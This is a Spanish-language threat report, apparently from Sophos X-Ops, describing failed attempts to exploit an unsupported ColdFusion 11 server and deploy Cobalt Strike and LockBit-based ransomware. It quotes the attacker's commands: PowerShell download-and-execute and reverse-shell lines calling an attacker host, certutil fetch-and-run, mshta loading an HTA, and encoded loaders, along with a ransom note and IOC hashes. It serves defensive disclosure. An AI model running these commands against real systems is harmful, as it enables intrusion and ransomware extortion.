Los servidores son siempre un punto de interés para los ciberdelincuentes, ya que son uno de los vectores de ataque más eficaces para penetrar en una organización. Las cuentas relacionadas con los servidores suelen tener los niveles de privilegio más altos, lo que facilita el movimiento lateral a otras máquinas de la red.
Sophos X-Ops ha observado una amplia variedad de amenazas dirigidas a los servidores, siendo las cargas útiles más comunes las balizas Cobalt Strike, el ransomware, las puertas traseras PowerShell sin archivos, los mineros y las webshells. En septiembre y principios de octubre, vimos varios intentos de un actor desconocido hasta entonces de aprovechar vulnerabilidades en versiones obsoletas y sin soporte del software ColdFusion Server de Adobe para acceder a los servidores Windows en los que se ejecutaban y pasar a desplegar ransomware. Ninguno de estos ataques tuvo éxito, pero proporcionaron telemetría que nos permitió asociarlos con un único actor o grupo de actores, y recuperar las cargas útiles que intentaron desplegar.
Los archivos que recuperamos mostraron que el atacante intentaba desplegar un ransomware creado utilizando código fuente filtrado de la familia de ransomware LockBit 3.0. Observamos que se utilizaba un ransomware similar en una campaña de explotación WS-FTP. En este informe, hablaré de la telemetría observada en la red de un cliente de Sophos y de las herramientas y técnicas utilizadas. Afortunadamente, todos los intentos fueron bloqueados por las detecciones de comportamiento de los endpoints de Sophos, que detectaron inicios sospechosos de procesos “living off the land binary” (LoLBIN) originados en los servidores objetivo.
Cronología del ataque
Como ColdFusion 11 ya no está parcheado, y no se disponía de telemetría de las conexiones de red del servidor, no pudimos determinar qué vulnerabilidad se explotó para iniciar la infiltración en la red del cliente. Pero poco después de obtener acceso el 20 de septiembre, los atacantes empezaron a probar si podían explotar aún más el servidor con una serie de entradas de línea de comandos ejecutadas aprovechando los procesos del servidor ColdFusion:
A las 08:30 UTC del 20 de septiembre, el atacante ejecuta un comando ping dirigido a un host controlado por el atacante: un subdominio de “oastify[.]com”, que está conectado al Burp Collaborator Server, un servicio utilizado para pruebas de seguridad de aplicaciones fuera de banda (OAST), un conjunto de herramientas externas de detección de vulnerabilidades. Este comando, destinado a comprobar si el servidor era vulnerable a un ataque remoto, fue detectado silenciosamente y permitido por la protección endpoint del servidor:
cmd /c "ping mc2a1coghq275g3y1qhnp5u2otukid62[.]oastify[.]com
A continuación, a las 08:38, tras determinar que el servidor podía conectarse a un dominio remoto, el atacante intentó ejecutar un script PowerShell remoto para descargar y desplegar un Cobalt Strike Beacon:
cmd /c "powershell -nop -exec bypass -c "iex ((new-object net.webclient).downloadstring('hxxp://<ip>:64/watchdogs.ps1'))
Esta acción está bloqueada por una regla de comportamiento Access_3b (basada en la técnica MITRE ATT&CK T1190). El atacante persiste con múltiples intentos de desplegar la baliza de ataque de Cobalt, pero sus esfuerzos siguen siendo frustrados por la regla “Access_3b” (T1190).
En consecuencia, a las 11:37 el atacante volvió a realizar una búsqueda DNS con el comando “ping” para un subdominio diferente de oastify[.]com, comprobando dos veces que el servidor objetivo puede conectarse a un dominio remoto.
cmd /c "ping oh9c6etims79ai806smpu7z4tvzmnhb6[.]oastify[.]com
La prueba DNS volvió a ser positiva, y a las 11:45 el atacante intentó utilizar la utilidad de Servicios de Certificación certutil.exe de la línea de comandos de Windows para lanzar otra versión ejecutable del Cobalt Strike Beacon. De nuevo, esto fue bloqueado por la regla de comportamiento Access_3b (T1190).
cmd /c "certutil.exe -urlcache -split -f hxxp://<ip>:64/ftps.exe c:\windows\temp\ftps.exe & start c:\windows\temp\ftps.exe
El atacante lo intentó varias veces. Pero a las 11:52, el atacante abandonó ese método e intentó desplegar un PowerShell inverso interactivo: una puerta trasera PowerShell sin archivos destinada a operar en segundo plano y ejecutar comandos a discreción del atacante. Lamentablemente (para ellos), este despliegue de carga útil tampoco tuvo éxito, bloqueado por la misma regla de comportamiento.
cmd /c "powershell -nop -exec bypass -c "iex (new-object net.webclient).downloadstring('hxxp://<ip>:64/invoke-powershelltcp.ps1');invoke-powershelltcp -reverse -ipaddress <ip> -port 585
A las 12:01, el atacante volvió a cambiar de estrategia. Sus esfuerzos anteriores consistían en descargar un archivo PowerShell y luego ejecutar su contenido; ahora intentaban cargar un cargador Cobalt Strike Beacon codificado directamente en la memoria con PowerShell. Por desgracia para ellos, incluso este método de despliegue modificado estaba bloqueado.
$s=new-object io.memorystream(,convert]::frombase64string("h4siaaaaaaaa/61xaw/ishb9npwkf4gekiqm7lxrs89gsxmz2gwml4qkcmekvjblypom//tuguinp9mzlc1eqq6y73lq3kvude.. -
Frustrados sus esfuerzos, el atacante esperó cinco días para volver al servidor armado con binarios recién compilados y un nuevo vector de ataque remoto en un intento de burlar las protecciones existentes. El 25 de septiembre a las 07:47, volvieron a intentar su método de ataque original, y obtuvieron el mismo resultado. El despliegue se bloqueó.
cmd /c "powershell -nop -exec bypass -c "iex ((new-object net.webclient).downloadstring('hxxp://<ip>:64/watchdogs.ps1'))
Al día siguiente, volvieron a empezar, con una prueba de “ping” a las 01:16 contra otro subdominio aleatorio de oastify[.]com. A las 01:23, intentaron de nuevo cargar en memoria una baliza de ataque Cobalt codificada, con más modificaciones de código para eludir la detección. Una vez más, fue bloqueado.
$s=new-object io.memorystream(,[convert]::frombase64string("h4siaaaaaaaa/61xaw/ishb9npwkf4gekiqm7lxrs89gsxmz2gwml4qkcmekvjb.. -
Después de que eso fallara, a las 01:31, volvieron a intentar aprovechar certutil.exe para desplegar otra baliza recién compilada. Los esfuerzos del atacante siguieron viéndose frustrados.
cmd /c "certutil.exe -urlcache -split -f hxxp://<ip>:64/ftpss.exe c:\windows\temp\ftpss.exe & start c:\windows\temp\ftpss.exe
Al quedarse sin opciones, a las 02:27 del 26 de septiembre, el atacante empleó un archivo HTA (Aplicación HTML) para iniciar PowerShell, con el objetivo de desplegar la baliza de ataque Cobalt. Sin embargo, este intento también acabó en fracaso, ya que fue bloqueado por otra regla de comportamiento (C2_10a, basada en la técnica ATT&CK T1071.001)
cmd /c "mshta hxxp://<ip>:64/evil.hta
El actor de la amenaza, cada vez más desesperado, realizó numerosos intentos adicionales de lanzar sus ataques utilizando archivos HTA y binarios Cobalt Strike pero sin ningún éxito. Todos sus esfuerzos fueron constantemente frustrados y bloqueados.
Explorando el repositorio del atacante
Siguiendo el rastro de la telemetría, descubrimos que los atacantes dejaron involuntariamente activados los listados de directorios en el servidor web que alojaba su repositorio de herramientas, lo que nos permitió explorar su contenido. En él, descubrimos todos los artefactos que el atacante había intentado desplegar en el entorno del cliente, así como la carga útil final del ransomware que el atacante pretendía desplegar, también procedente del repositorio. (Todas las cargas útiles que descubrimos están bloqueadas por las defensas de Sophos).
La variante del ransomware, como se ha señalado anteriormente, lleva una nota de ransomware que acredita a “BlackDog 2023”, y parece ser una nueva familia de ransomware con un posible vínculo con el código fuente filtrado de Lockbit 3.0. Esta conexión se hace evidente al examinar tanto las propiedades del archivo ejecutable estático como las similitudes del código descomprimido en memoria. Activa la misma protección en memoria que ese código fuente, Mem/Lockbit-B.
El actor se autodenominó “BlackDogs 2023” en el archivo de la nota de rescate que formaba parte de la carga útil del malware fallido:
BlackDogs 2023 está aquí
Tus datos han sido robados y cifrados
Por favor, dame 205 Monero y te daremos el programa de descifrado.
Nuestra dirección de Monero: [eliminado]
Los datos se publicarán en un sitio web TOR si no pagas el rescate
Tu ID personal de DESCIFRADO: [eliminado]
¡Atención! No ELIMINES ni MODIFIQUES ningún archivo, ¡puede provocar problemas de recuperación!
Usando Tox messenger, nunca sabremos tu nombre real, lo que significa que tu privacidad está garantizada.
Si quieres ponerte en contacto con nosotros, escribe en tox. [dirección eliminada]
205 Moneros equivalen aproximadamente a 30.000 $.
Lista de artefactos
Nombre dek archivo | Hash – SHA1 | Protección del contexto – entrega de la carga útil | Otras capas de cobertura |
watchdogs.ps1 | a77fd996290cb37b7368f0b54774d8977c97fb7c | Access_3b (T1190) | C2_10a (T1071.001), AMSI/Cobalt-A, Shellcode |
invoke-powershelltcp.ps1 | 6be4f82c2f5dc46ebfa74a77fb550448fcac12d5 | Access_3b (T1190) | C2_10a (T1071.001) |
oftenExcute.ps1 | b2d5c047e60b2a183d30ac92b1dc73ac5ba58bbe | Access_3b (T1190) | C2_10a (T1071.001), AMSI/Cobalt-A, Shellcode |
$s=new-object io.memorystream(,convert]:
:frombase64string |
48c62e2b8e99ba7ebdaa50da7b84de014122f8eb | Access_3b (T1190) | Exec_27a (T1059.001), AMSI/Cobalt-A, C2_4a (T1059.001 mem/meter-d mem/meter-g), Shellcode |
ftps.exe | c2e896570e194ee4003f9e696a97c04b64a6e14e | Access_3b (T1190) | ATK/Cobalt-A, C2_1a (T1095 mem/meter-d mem/meter-g), Shellcode |
LB3.exe (Ransomware – Posiblemente entregado a través de una baliza CS) | 385320ddd8254a49669bf3c31b28fde77601f47c | NA | Impact_4c, Impact_4a(mem/lockbit-b), CryptoGuard V5 |
evil.hta | 3a0cd87b1b6a112aa564169185f83248e23383c5 | Access_3b (T1190) | ATK/PSInject-Q, Exec_27a (T1059.001), AMSI/Cobalt-A, C2_4a (T1059.001 mem/cobalt-c, mem/meter-g) |
ftpss.exe | 26c8a6b4b816e18e611942111e401f339dc98395 | Access_3b (T1190) | ATK/Cobalt-A, C2_1a (T1095 mem/meter-d mem/meter-g) |
LKl23s.exe (Ransomware – Posiblemente entregado a través de una baliza CS) | 759b9d1ea843596ab32ad401ffa1c9d09e735b56 | NA | Mal/EncPk-HM, Impact_4a(mem/lockbit-b), CryptoGuard V5 |
Ww3wb.exe (Ransomware – Posiblemente entregado a través de una baliza CS) | a543ea56ecc63ec35e925e79d7c51558557b3ed1 | NA | Impact_4a (T1486 mem/lockbit-b), CryptoGuard V5, Mal/EncPk-HM, Impact_4c (T1486) |
Estos artefactos y otros indicadores de compromiso también estarán disponibles en nuestro GitHub.
Los riesgos de este software antiguo
A juzgar por el directorio de instalación del servidor que se explotó en el ataque (C:\ColdFusion11\cfusion\bin\coldfusion.exe), es evidente que los clientes objetivo utilizaban ColdFusion 11.x, una versión introducida alrededor de 2014. Adobe dejó oficialmente de dar soporte a este producto a partir del 30 de abril de 2021, por lo que no hay correcciones de errores ni actualizaciones adicionales disponibles para esta versión. No se sabe con certeza qué vulnerabilidad del servidor fue explotada, pero son numerosas.
Aunque la protección del endpoint puede ayudar a evitar que los atacantes aprovechen las vulnerabilidades del software antiguo, no hay forma de cerrar el punto de entrada sin parches o actualizaciones. Eso debilita la protección general. Se recomienda encarecidamente a los clientes que migren a versiones más recientes de cualquier producto de servidor orientado a Internet o que consideren la posibilidad de retirarlos en favor de una alternativa aún compatible. Cuando eso no sea posible, las organizaciones deben hacer todo lo posible para mitigar las vulnerabilidades, aislando los servidores que las alojan de la red de la organización en la medida de lo posible y restringiendo los derechos de las credenciales en esos servidores para impedir el movimiento lateral si deben residir en la misma red.
Sophos X-Ops desea agradecer a Mike Wood y Anand Ajjan su revisión y comentarios sobre este informe.